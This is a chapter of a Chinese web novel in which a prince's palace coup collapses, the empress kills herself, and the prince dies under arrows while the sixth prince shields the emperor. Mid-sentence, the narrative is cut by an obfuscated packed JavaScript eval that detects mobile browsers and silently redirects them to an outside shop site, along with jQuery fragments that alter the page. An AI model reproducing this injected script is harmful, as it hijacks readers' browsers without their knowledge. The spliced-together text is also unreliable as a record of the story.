“你说什么?”
闻言,宫玉安脸上出现了一瞬间的慌乱,他左右看了看殿中的场景。
宽阔的浮光殿上满满站立了约有二百余人,自己带领的京畿十二营手执锋利的刀剑,牢牢看守住每一位大臣的命脉。
一切都尽在掌控之中。
“老东西,你吓唬谁呢?”
宫玉安恶声恶气地吼道,这可恶的老家伙,死到临头了还敢虚张声势。
京畿十二营乃自己外祖一手培植,誓死效忠于他们谢家,绝对的忠诚,多年来谢家几乎倾尽家产扶持,其战斗力也远非一般军队可比。
“京畿十二营也只不过区区三万人而已,岂能敌得过孤的皇城司和一万御林军?”
“呵呵,哈哈哈,父皇,你以为仅凭京畿十二营,我就敢兵变夺权吗?我自然是拥有了更多的底牌,才能够保证将这云起的江山尽数掌控啊。”
“你所谓的底牌,便是指西曙少主的支持吗?”
“什么?你怎么……”
“孤怎知你的底牌?你真当孤不知你私底下的那些小动作吗?”
“知道又如何?父皇,事到如今,你还指望谁能来救你?”
宫玉安满怀信心地看了眼主宾台上淡定看戏的阿克苏,欲从同盟的眼中得到支持和回应,谁知,在目光对视的那一刻,却只能从中看到满满的戏谑。
宫玉安心中隐隐感觉不妙,刚想出言询问,只听一声巨响,紧闭的殿门被人从外面强行破坏,一队身穿西曙服侍的勇士带领皇城司侍卫闯了进来,以绝对的人数优势,迅速而有序地反制住了京畿十二营的人,将劫后余生痛哭流涕的大臣们解救了出来。
宫玉安心底的不安转变为现实。
尤其是如猛兽般站在队伍前列的那几名西曙勇士,因为最近一段时间,他和西曙人走的比较近的缘故,对于这几人或多或少都有了些印象,只见那几人上来便目的明确地冲向了宫琰辰的位置,趁人不备几招下来抢先救下了六皇子和他那个碍眼的叫什么桑落的内侍,随后笔直地站立在二人身侧,一副守卫着他们的姿态。
真相就摆在眼前,这还有什么看不明白的?
“少主,你,这是何意?”
“何意?难道大皇子殿下还不明白吗?从一开始,本少主就没想过要与你合作,你的所有行动,包括你和我之间的书信往来,都是我告知云起陛下的。”
“你出卖我?”
宫玉安狰狞的脸上出现了怒不可遏的神情,他怎么也没有想到,自己手中最大的底牌,却成了掣肘自己的致命一击。
“大皇子,怎么能说是出卖呢?从一开始,我就没有明确的承诺过,会帮助你,我只是顺着你的话,装作给你一点点,想要合作的意愿而已,谁知你这么蠢笨,一点都不怀疑,就把你的所有计划,一五一十告诉了我。”
“哈哈哈……对,是我蠢,我居然还以为今天的计划天衣无缝,我还以为,这云起的天下唾手可得,原来,这一切都是你们计划好的,就等着我落入圈套,好将我的势力一网打尽!”
宫玉安此时反应了过来,难怪这一切进行的如此顺利,一点异常和阻拦都没有,他还以为,自己是天命所归,受上天庇佑,原来,是自己太过天真了。
“逆子,你谋权篡位,意图弑君杀父,事到如今,你还不认罪吗?”
“认罪?我有什么罪?我只不过想要得到属于我的东西而已,是你,一直都是你,无视我的努力,否认我的付出,是你,一步一步把我逼入绝境,养不教父之过,既然你觉得我有错,那么作为错误的源头,父皇,你怎么还不去死啊?”
“放肆,看来,你至死都不会认识到自己的错误了?既然如此,来人啊,将这逆子拿下,褫夺身份贬为庶人,打入天牢择日问斩。”
“不!不要!陛下,不可以,安儿是你的亲生儿子啊,你怎么能这么对他?”
“孤怎么对他?这样一个想要置孤于死地的儿子,不杀,留着何用?”
“不是的陛下,安儿他没有想要伤害陛下,一切都是臣妾的意思,这、这些人,都是臣妾安排的,臣妾用性命逼迫安儿,让他背叛陛下,帮助臣妾谋反,一切都是臣妾的主意,求陛下开恩!”
“母后,母后你不要求他,我们没有输,我们不会输的……”
“安儿你闭嘴,陛下,陛下求您看在我们夫妻二十余载的情分上,处死臣妾,饶了安儿吧,陛下!”
“夫妻情分?你们谢家狼子野心,一心想要谋夺孤的江山,你当孤不知道吗?”
“陛下,千错万错,都是臣妾的错,是臣妾对不起您,求您,饶恕安儿,饶恕谢家,臣妾愿,以死谢罪……”
话音刚落,趁着众人还没反应之时,只见皇后不舍地望了眼宫玉安,咬了下下嘴唇,似是下定了决心一般,猛地撞向了最近的那根盘龙金柱。
“母后!”
大皇子撕心裂肺大吼一声,站起身来一步上前,半抱起触柱之后,如慢动作般摊倒在地上的皇后。
炽热的鲜血如柱般喷涌而出,染红了赤金缠丝双面绣的明黄色凤袍,昔日端庄的皇后此刻如同破碎的玩偶,散落在众目睽睽之下,令人唏嘘不已。
桑落用手肘怼了怼宫琰辰,眼神询问,这事要不要管?
宫琰辰摇了摇头。
来不及了。
宫玉安面容悲恸地看向周围的人,他哀求着,求人能够帮他叫御医,求人能够救救他的母后。
可目之所及,所有人皆移开了视线,没有一个人,愿意接受他的求助。
“求、求求你们……救救我的母后,求求你们了。”
老皇帝冷漠地看着眼前的一场闹剧,丝毫没有想管闲事的意思。
自古帝王之心最难揣测。
可今日在场之人,但凡有点脑子的,都看明白了皇后及大皇子党羽皆已成为废子,谢氏一族全族难得善终,谁又愿意为了这样的人,去招惹皇帝的厌弃呢?
大皇子也难得看明白了如今的处境。
他抱着已经咽气的皇后,眼底染上的赤红如同地狱而来的妖魔,“为什么?她是你的结发妻子啊!为什么不救她?你明明知道今天的事与我母后无关,你为什么不救她?”
“你就这么巴不得我们母子死在你眼前吗?你到底有没有心啊?”
“这一切,都是你自食其果,你母后的死,也都是你一手造成,怨不得他人。”
“好!好!宫明城,你根本不配为人,既然我活不成了,不如……”
“你跟我们一起下地狱吧!”
话音刚落,宫玉安快速从靴中掏出一把锋利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915767|130400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的匕首,他抱着皇后的尸首一跃而起,刀锋指向了前方的老皇帝。
“陛下!”
一旁的许公公惊慌失措得大喊出声,想要上前护驾,可奈何二人之间足有三丈多远的距离,许公公年纪不轻又没有武功,即使有心,也力所不能及,只能眼睁睁地看着宫玉安举着匕首,刺向了老皇帝。
就在这时,一道身影从许公公身前一闪而过。
六皇子提身运气,使出了轻功侧身挡在了老皇帝的面前,他双手张开紧紧护住了老皇帝,将背部毫无掩藏地暴露在危险之中,正对着匕首的尖端。
眼底,是无人察觉到的暗芒。
“宫琰辰!”
桑落的心如同被一双无形的大手用力揪住,窒息的感觉涌向咽喉。
就在桑落感觉紧张地将要晕倒的时候,眼前的情形发生了惊天逆转——
无数箭羽呼啸而至,穿过逆阻的空气,发出了钉入□□的沉闷声响,宫玉安如同停滞在半空中一般,再也无法向前分毫,他浑身上下,连同怀中已经死去的皇后,都扎满了长箭。
像是僵死的刺猬一般,死得毫无尊严。
宫玉安心有不甘盯着不到两尺的距离处,那抱在一起的两个人,一个是想要致他于死地的生父,一个是夺走了本属于他的地位的弟弟。
就只差那么一点点,每次,都只差那么一点。
宫玉安绝望而又不甘心地,咽下了最后一口气。
他,死不瞑目。
“父皇,您没事吧?”
待到尘埃落定,罪犯伏法,宫琰辰这才长舒一口气。
他稍稍退后一步,上下打量了一番,似是在确认,老皇帝到底有没有被自己守护周全一般,目光关切又紧张。
看起来,毫无心机。
“孤没事,小六你,做得很好。”
“儿臣只是出于本能,做了自己应该做的。”
老皇帝心中动容,刚刚经历了父子相杀,说不难过是不可能的。
说到底,毕竟是第一个孩子,虽然不成器,但在谢家暴露野心之前,也是报以慈父之情看着他长大的。
只是没想到,对于权利的渴望,远远超越了父子亲情,将人性中最丑陋的一面无限放大。
最后,只剩下拔剑相向的两人,穿着漏洞百出的父子皮囊,做着这天底下最被人所不齿的行径。
桑落如旁观者一般看完了这场戏的整个过程。
她和小皇子在整个事件中没有一丝一毫参与进来的痕迹,却起了至关重要推波助澜的作用。
她不是不懂两国之间边境纠葛分毫不让的原则,不管是二十一世纪,还是在这古代,领土完整是作为一个国家最起码的尊严和底线。
可阿克苏,那个被她坑了一次又一次的小瘪三,却为了她,失孝于自己的父亲,失义于自己未来的臣民,失仁于,全天下在战乱中流离失所,朝不保夕的难民们。
若不是因为桑落,阿克苏或许会赌一赌,接下宫玉安抛来的橄榄枝,扶持一个野心大又没脑子的人上位,远比在现任帝王这个老油条手上讨不到一丁点的好处要好得多。
桑落心里挺不是滋味的。
或许从她穿越到这架空时代,这云起国的那一天起,已是她身不由己的开始,不是说结束,就能结束的了。